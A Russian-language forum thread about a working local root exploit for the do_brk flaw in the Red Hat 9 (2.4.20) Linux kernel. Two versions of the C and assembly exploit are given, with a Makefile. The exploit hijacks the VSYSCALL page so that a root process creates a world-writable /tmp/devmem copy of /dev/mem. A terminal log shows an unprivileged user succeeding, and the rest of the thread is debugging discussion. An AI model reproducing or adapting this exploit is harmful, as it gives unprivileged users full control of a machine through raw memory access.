Имеется одна программа для RH9.0.
Делает /tmp/devmem с правами доступа 0777 (block 0101 == /dev/mem).
Проблема в том, что при этом она уходит в reboot (/tmp/devmem после перезагрузки остается, но суть не в этом). Вопрос собственно почему уходим в reboot?
P.S. Если вдруг кто запускать будет: учтите, что нужен 1 Гиг свободной виртуальной памяти или же overcommit_memory=1, иначе кина не будет (скорее всего это требование обязательно для того, чтобы не покрэшить ядро, а суметь получить что-то более полезное -- из-за того, что ядро проецирует ОЗУ на kvm через PSE страницы и само же не понимает их).
Вот собственно программа и Makefile:
#define __KERNEL__
#include <asm/pgtable.h>
#include <asm/errno.h>
extern int errno;
char mystack[4096];
char tmpmemstr[] = "/tmp/devmem";
asm (" .align 4096
.globl expcode
expcode:
pushal
movl $0, %ebx
movl $60, %eax
int $0x80
movl $0xfffff000, %ebx
copy:
subl $4, %ebx
pushl (%ebx)
cmpl $0xffffef00, %ebx
jne copy
movl %esp, %ebx
movl $020777, %ecx
movl $0x0101, %edx
movl $14, %eax
int $0x80
addl $0x100, %esp
popal
exit:
int $0x80
ret
.globl expcode_end
expcode_end:
");
extern unsigned char expcode, expcode_end;
void do_main (long esp) {
unsigned char *trampoline;
unsigned char volatile dummy;
unsigned int i;
trampoline = __fix_to_virt (FIX_VSYSCALL);
if (trampoline != 0xffffe000) {
printf ("weird... but you still can try patching the asm code accordingly ;)\n");
exit (0);
}
munmap (esp & ~(4096 - 1), 0xc0000000 - (esp & ~(4096 - 1)));
brk (0xfffff000);
printf ("probing write @ %p\n", trampoline); sleep (1);
*trampoline = 0xcd;
*(trampoline+1) = 0x80;
*(trampoline+2) = 0xc3;
*(long*)(trampoline+3) = 0;
printf ("probing read @ %p\n", trampoline); sleep (1);
dummy = *trampoline;
printf ("copying string %p->%p\n", tmpmemstr, trampoline+0xf00); sleep (1);
for (i=0; tmpmemstr[i]; i++) {
trampoline[0xf00+i] = tmpmemstr[i];
printf ("%x\n", i);
}
trampoline[0xf00+i] = 0;
printf ("copying hook ->%p\n", trampoline); sleep (1);
for (i=(unsigned int)&expcode; i<(&expcode_end+1); i++) {
trampoline[i-(unsigned int)&expcode] = *(unsigned char *)i;
}
printf ("done\n"); sleep (1);
do {
access (tmpmemstr, 3);
} while (errno == ENOENT);
*(unsigned int *)trampoline = 0x00c380cd;
*((unsigned int *)trampoline+1) = 0x00000000;
if (errno != 0)
perror ("bad luck");
else
printf ("everything seems fine...\n");
for (;;) pause (); // Don't burn the CPU :)
}
int main () {
register long esp asm ("esp");
register long oldesp = esp;
esp = mystack+4096;
do_main(oldesp);
return 0;
}
all:
gcc -static -g -I/lib/modules/`uname -r`/build/include -Wl,-Tdata,0xbfff0000 exp.c -o exp
>скорее всего это требование обязательно для того
В том смысле, что если у нас VMA будет меньше проекции zone normal, то все чего мы сможем добиться - это покрэшить ядро (из-за PSEшных PTE).
asm/fixmap.h (в vanilla нет такого символа - есть в RH9.0 и 2.5/2.6).
Равен должен быть 1 :)
Соответственно на одну страничку от конца адресного пр-ва (0xfffffe00) должна быть страничка, которая является "проходной" в ядро.
P.S. Даже не знаю куда смотреть. Вроде asm работает корректно :( Отчего там все успевать упасть? :(
Долго разбирался... и наконец когда поставил int 0x80 из конца вначало всё заработало (видимо, прикол стоит поискать в glibc). Вот код (на запуск shell забил, т.к. остальное неспортивно ;)):
[root@censored root]# cat exp.c
#define __KERNEL__
#include <asm/pgtable.h>
#include <errno.h>
char mystack[4096];
char tmpmemstr[] = "/tmp/devmem";
asm (" .align 4096
.globl expcode
expcode:
int $0x80
pushal
movl $0, %ebx
movl $60, %eax
int $0x80
movl $0xfffff000, %ebx
copy:
subl $4, %ebx
pushl (%ebx)
cmpl $0xffffef00, %ebx
jne copy
movl %esp, %ebx
movl $020777, %ecx
movl $0x0101, %edx
movl $14, %eax
int $0x80
addl $0x100, %esp
popal
ret
.long 0
.globl expcode_end
expcode_end:
");
extern unsigned char expcode, expcode_end;
void do_main (long esp) {
unsigned char *trampoline;
unsigned int i;
int fd;
/* AP: Now we get the pointer to VSYSCALL page - a door to kernel */
trampoline = (unsigned char *)__fix_to_virt (FIX_VSYSCALL);
if (trampoline != (unsigned char *)0xffffe000) {
printf ("weird... but you still can try patching the asm code accordingly ;)\n");
exit (0);
}
/* AP: Create VMA stretched through kernel to VSYSCALL page,
For it to be able to extend - need to unmap the stack ... */
munmap (esp & ~4095, 0xc0000000 - (esp & ~4095));
if (brk (0xfffff000)) {
printf ("Your configuration is not exploitable. Perhaps there's no free 1 GB of VM and overcommit_memory is not set.\n");
exit (-1);
}
printf ("probing write @ %p\n", trampoline); sleep (1);
/* AP: The main idea is implemented in the following line...
Accessing the kernel-space will lead to page fault.
The kernel checks that the address belongs to VMA
and makes a stupid PTE update with R/W access. */
*((unsigned long *)trampoline) = 0x00c380cd;
/* AP: Perform filename copying to somewhere in the end of VSYSCALL page */
printf ("copying string %p->%p\n", tmpmemstr, trampoline+0xf00); sleep (1);
memcpy (trampoline + 0xf00, tmpmemstr, strlen(tmpmemstr) + 1);
/* AP: Modifying the code of VSYSCALL... we've got a small race here...
Let's hope for the better... */
printf ("copying hook %p->%p (%d)\n", &expcode, trampoline, &expcode_end - &expcode + 1); sleep (1);
memcpy (trampoline, &expcode, &expcode_end - &expcode + 1); // AP: TODO: Copy in reverse order to ensure atomicity ...
printf ("done\n"); sleep (1);
/* AP: Now wait until some process with uid=0 performs a system call and makes /dev/mem clone
for us */
do {
access (tmpmemstr, 6);
} while (errno == ENOENT);
/* AP: It's the time to restore the trampoline code now ... */
*(unsigned int *)trampoline = 0x00c380cd;
*((unsigned int *)trampoline+1) = 0x00000000;
if (errno != 0)
perror ("bad luck");
else
printf ("everything seems fine...\n");
/* AP: Unfortunally, we cannot exit ... just because that would cause zap_page_range
on the kernel-space */
for (;;) pause (); // Don't burn the CPU :)
}
int main () {
register unsigned long esp asm ("esp");
register unsigned long oldesp = esp;
/* AP: Switch to new stack */
esp = (unsigned long)mystack+4096;
do_main(oldesp);
return 0;
}
[root@censored root]# cat Makefile
all:
gcc -static -g -I/lib/modules/`uname -r`/build/include exp.c -Wl,-Tdata,bfff0000 -o exp
-bash-2.05b$ rm /tmp/devmem
-bash-2.05b$ id
uid=507(andrew) gid=100(users) groups=100(users),4(adm)
-bash-2.05b$ ./exp3
probing write @ 0xffffe000
copying string 0xbfff1000->0xffffef00
copying hook 0xbfff2000->0xffffe000 (65)
done
[5]+ Stopped ./exp3
-bash-2.05b$ ls -sal /tmp/devmem
0 crwxrwxrwx 1 root root 1, 1 Dec 6 21:23 /tmp/devmem
-bash-2.05b$
Все же интересно, чего она перегружалась-то?
Еще интереснее, почему перенос int 80 перед umask()/mknod() это
исправляет.
У меня 2.20 только, поэтому сам попробовать не могу (да и не стал бы :)
Что за ядро? Судя по brk взлому, 2.4 с sysenter бэкпортом.
Какой код там в vsyscall page?
Что успевает написать exploit, чего пишет kernel?
Пожно попробовать загрузиться с init=/bin/sh.
Пустить exploit без &, живет? Если он сам падает после успешного
вызова brk(), то крах понятен. Потом попробовать с &.
Если крах, /tmp/devmem _точно_ создается? (-o remount,rw /tmp)
Если не лениво, конечно :)
> нужен 1 Гиг свободной виртуальной памяти или же overcommit_memory=1
> для того, чтобы не покрэшить ядро, а суметь получить что-то более полезное
Не понял. Не должно быть краха системы. Должна поломаться (SIGSEGV) сама программа
при записи в trampoline, т.к. brk(0xfffff000) не пройдет из-за vm_enough_memory(),
мы ведь просим (учитывая -Wl,-Tdata,0xbfff0000) чуть больше 1Г памяти.
Или действительно крэш происходит?
> из-за того, что ядро проецирует ОЗУ на kvm через PSE страницы и само же не понимает их
> В том смысле, что если у нас VMA будет меньше проекции zone normal, то все
> чего мы сможем добиться - это покрэшить ядро (из-за PSEшных PTE).
Это чего-то совсем непонятно. _PAGE_PSE только между PAGE_OFFSET и high_memory,
программа там ничего не трогает. От __end_of_fixed_addresses до FIX_HOLE 4k страницы.
idle:
>Все же интересно, чего она перегружалась-то?
>Еще интереснее, почему перенос int 80 перед umask()/mknod() это
>исправляет.
>
>У меня 2.20 только, поэтому сам попробовать не могу (да и не стал бы :)
>
>Что за ядро? Судя по brk взлому, 2.4 с sysenter бэкпортом.
>Какой код там в vsyscall page?
Ядро стандартное из RH9.0 (без патчей) - 2.4.20-8.
Код в VSYSCALL:
0xcd 0x80 0xc3 ("int $80; ret")
>Что успевает написать exploit, чего пишет kernel?
"copying hook" и на memset падает.
Далее, как я понял, все процессы, делающие syscall, падают в segfault.
Ядро пишет "bad pmd" (видимо из-за того, что падает мой код), также на консоль валится ''INIT: PANIC: Segmentation fault at 0xffffe00x, sleeping 30 seconds" в цикле.
>Пожно попробовать загрузиться с init=/bin/sh.
>Пустить exploit без &, живет? Если он сам падает после успешного
>вызова brk(), то крах понятен. Потом попробовать с &.
>Если крах, /tmp/devmem _точно_ создается? (-o remount,rw /tmp)
>Если не лениво, конечно :)
В принципе можно, хотя вряд ли что-то изменится, IMHO.
devmem точно создается каждый раз чистенько...
>Не понял. Не должно быть краха системы. Должна поломаться
>(SIGSEGV) сама программа при записи в trampoline, т.к. brk(0xfffff000) не
>пройдет из-за vm_enough_memory(),мы ведь просим (учитывая
>-Wl,-Tdata,0xbfff0000) чуть больше 1Г памяти.Или действительно крэш >
происходит?
Я немного не это имел в виду... Если таким способом создать VMA, недотягивающую до VSYSCALL, то мне казалось, что это просто не имеет смысла, поэтому все что мы сможем сделать - это просто покрэшить ядро с такой VMA. Прочитав оригинальный pdf Старзетса я понял, что когда делал grep vmalloc на ядро - пропустил kernel/arch, где так выделяются страницы под LDT (кстати, там прогон о том, что память выделенная kmalloc тоже доступна через обычные таблицы страниц - это верно только для отображенных в highmem... кстати, именно поэтому, как я понимаю, и эксплуатируется именно vmalloc) - я в свое время нашел что так память выделяется под файловые дескрипторы и модули, но проэксплуатировать это нетривиально.
Так что в итоге я был неправ. Проэксплуатировать можно, если свободной виртуальной памяти хватает, чтобы покрыть ZONE_NORMAL до VMALLOC_START, т.е. свободной виртуальной памяти как минимум столько же сколько всего ОЗУ.
>Это чего-то совсем непонятно. _PAGE_PSE только между
>PAGE_OFFSET и high_memory, программа там ничего не трогает. От
>__end_of_fixed_addresses до FIX_HOLE 4k страницы.
Это так, но я не предполагал, что можно эффективно проэкслуатировать vmalloc. :)
Блин!!!
Я похоже допер почему мы крэшились при другом порядке... Я осел...
Ведь внутри системных вызовов уже сидела куча процессов, а возвращались они из ядра через VSYSCALL, а там по смещению 0xffffe002 - не ret, а вообще хрень какая-то была (середина соответствующей инструкции).
Кстати, в этом свете последний код очень неплохо выглядит, т.к. таких ситуаций в нем не возникает :)
Жаль, что vanilla ядро нельзя универсальным образом через fixmap проэксплуатировать... через LDT+mprotect не сильно наглядно получается (как впрочем было бы и через ptrace, от которого Старзетс отказался).
Вряд ли падает на memset, скорее, при последующем вызове
printf("done\n")->sys_write(), который теперь идет через этот же trampoline.
Но почему, не понятно. Проблемы с icache?
> Далее, как я понял, все процессы, делающие syscall, падают в segfault.
> Ядро пишет "bad pmd" (видимо из-за того, что падает мой код)
Естесственно, vsyscall page теперь выброшена из init_mm когда exit
делал zap_pte_range() для нашего процесса
> INIT: PANIC: Segmentation fault at 0xffffe00x, sleeping 30 seconds" в цикле.
Это не кернел! Это /sbin/init и пишет! То есть, таки нет перезагрузки?
> >Не понял. Не должно быть краха системы. Должна поломаться
> >(SIGSEGV) сама программа при записи в trampoline, т.к. brk(0xfffff000) не
> >пройдет из-за vm_enough_memory(),мы ведь просим (учитывая
> Если таким способом создать VMA, недотягивающую до VSYSCALL
Оно _всегда_ дотянется до до VSYSCALL после успешного brk(fix_to_virt(FIX_VSYSCALL)).
Независимо от количества свободной памяти. Но sys_brk() проверяет vm_enough_memory()
и без overcommit_memory=1 ее должно быть много - мы просим чуть больше гига.
А эксплойт пишется не в vmalloc, это fixmap area.
> Прочитав оригинальный pdf Старзетса
А это чего такое? ссылочку, plz?
> Я похоже допер почему мы крэшились при другом порядке...
> Ведь внутри системных вызовов уже сидела куча процессов
> а возвращались они из ядра через VSYSCALL а там по смещению
> 0xffffe002 - не ret, а вообще хрень какая-то
Похоже... Но reboot-то (если он был) почему????
Потом. До эксплойта там должен бы быть код для sysenter,
а тогда у нас опять-таки будет мусор на месте SYSENTER_RETURN.
Однако:
> > >Какой код там в vsyscall page?
> Код в VSYSCALL:
> 0xcd 0x80 0xc3 ("int $80; ret")
Ну так это ж 2.4.20, а не 2.5/2.6 все же. Нет там пока sysenter и DSO патчей не наложено.
>Похоже... Но reboot-то (если он был) почему????
>
>Потом. До эксплойта там должен бы быть код для sysenter,
>а тогда у нас опять-таки будет мусор на месте SYSENTER_RETURN.
>Однако:
>Оно _всегда_ дотянется до до VSYSCALL после успешного brk(fix_to_virt(FIX_VSYSCALL)). Независимо от количества свободной памяти. Но sys_brk() проверяет vm_enough_memory() и без overcommit_memory=1 ее должно быть много - мы просим чуть больше гига.
Ну так исходное то какое утверждение: если есть 1 Гб, то можно сделать brk до упора, если же brk нет, то можно сделать brk не до упора и покрэшить ядро.
>А эксплойт пишется не в vmalloc, это fixmap area.
Ну я догадываюсь :) Без этого провести анализ и написать даже наполовину работающий exploit было бы тяжеловато.
>Это не кернел! Это /sbin/init и пишет! То есть, таки нет перезагрузки?
Если в предпоследнем коде поменять положение int $0x80, то перегрузок не будет, а в исходном - будет. Впрочем, это уже неважно.
Блин. Читаю свои сообщения и сам ужасаюсь тому, что хрен поймешь что написано. Попытаюсь упорядочить в хронологическом порядке:
1) появилось сообщение о переполнении в do_brk
2) полез в google искать описание и нифига не нашел
3) полез в исходники - убедился, что действительно можно растянуть brk VMA на всё ядро (на столько - на сколько позволяет vm_enough_memory).
4) стал смотреть на ядро... самое интуитивно очевидное - это модификация ядреной памяти. с zone_normal - сразу отвалились, т.к. весь код Linux подразумевает обращение к userspace через функции вроде follow_page (прогулка по трехуровневым таблицам страниц), что моментально вызывает крэш на PSE страничках. Остались vmalloc и страницы в highmem.
5) highmem сразу отваливается, т.к. на моей конфигурации его не в принципе.
6) стал ковырять vmalloc - прогреппил ядро на vmalloc - нашел в основном в fs descriptors (хреново эксплуатируется, IMHO, тем более, что изначальный rlimit на число fd - 1024, что точненько влезает в одну страницу, которая выделяется kmalloc, а не vmalloc), и в коде выделения памяти под модули (но тут тоже непонятно что эксплуатировать). Как оказалось - забыл прогреппить arch на предмет vmalloc (только fs/mm/kernel/includes) - а Старсетз не забыл и получил методу...
7) я стал ковырять дальше... вспомнил о fixmap в 2.5/2.6. В RH оказалась похожая методика входа в ядро через __kernel_syscall, поэтому я решил расковырять VSYSCALL страницу.
8) получился почти рабочий код :) который только имел свойство перегружаться (см. первое сообщение в этой теме), но device inode успешно создавал, поэтому я продолжил ковырять VSYSCALL.
9) после code cleaning машина перестала перегружаться, но всё падало... оставался только init, который зацикливался в отработке segfault
10) случайно мне стукнуло в голову поменять порядок хука и системного вызова и все стало работать, хотя я так и не понял почему... подумал, что это было связано с кривой идентификацией VSYSCALL/__kernel_syscall.
11) когда писал суда - понял, что после исходного изменения кода в VSYSCALL я порчу всем процессам выход из ядра... так что в целом все более-менее понятно.